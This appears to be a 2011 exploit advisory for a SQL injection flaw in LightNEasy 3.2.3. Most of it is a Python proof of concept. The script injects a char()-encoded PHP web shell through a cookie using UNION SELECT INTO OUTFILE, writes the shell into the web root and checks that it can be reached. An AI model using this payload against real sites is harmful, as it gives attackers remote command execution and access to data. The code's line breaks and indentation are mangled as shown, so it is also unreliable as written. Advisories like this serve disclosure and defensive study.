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LightNEasy 3.2.3 SQL Injection

Posted on 22 April 2011

# ------------------------------------------------------------------------
# Software................LightNEasy 3.2.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.lightneasy.org/
# Discovery Date..........4/21/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A SQL injection vulnerability in LightNEasy 3.2.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/lne323'
shell_path = '/shell.php'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/index.php?do=&page= HTTP/1.1
'
'Host: localhost
'
'Proxy-Connection: keep-alive
'
'User-Agent: x
'
'Content-Length: 73
'
'Cache-Control: max-age=0
'
'Origin: null
'
'Content-Type: multipart/form-data; boundary=----x
'
'Cookie: userhandle=%22UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62)),%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22/**/FROM/**/dual/**/INTO/**/OUTFILE%22../../htdocs/shell.php%22%23
'
'Accept: text/html
'
'Accept-Language: en-US,en;q=0.8
'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
'
'
'
'------x
'
'Content-Disposition: form-data; name="submit"
'
'
'
'
'
'------x--
'
'
')

resp = s.recv(8192)

http_ok = 'HTTP/1.1 200 OK'

if http_ok not in resp[:len(http_ok)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('GET ' + shell_path + ' HTTP/1.1
'\n'Host: ' + host + '

')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

 

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